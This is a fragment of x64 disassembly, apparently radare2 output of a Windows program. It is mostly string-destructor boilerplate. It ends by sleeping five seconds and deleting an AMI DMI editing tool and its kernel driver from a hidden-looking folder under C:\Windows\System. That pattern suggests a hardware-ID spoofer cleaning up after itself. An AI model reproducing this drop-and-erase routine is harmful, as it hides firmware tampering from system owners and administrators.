lea rcx, [rsp + 0x50]
call fcn.1400412f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov dword [rbp - 0x70], 3
mov r8d, 1
lea rdx, [0x1400bc908]
lea rcx, [rsp + 0x30]
call fcn.14003fa30
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov dword [rbp - 0x70], 7
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x68]
call fcn.140039900
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14003adce
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003adc8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003adc8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a3c4c
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14003ae0e
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003ae09
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003ae09
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a3c4c
movdqa xmm0, xmmword [0x1400be1b0]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14003ae61
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003ae5c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003ae5c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a3c4c
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:_Windows_System_xd_amide.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:_Windows_System_xd_amifldrv64.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x14003aec6
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003aec0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003aec0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a3c4c
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 7
jbe 0x14003af09
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003af04
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003af04
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a3c4c
mov rcx, qword [rbp + 0x10f0]
xor rcx, rsp
call fcn.1400a3990
lea r11, [rsp + 0x1200]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret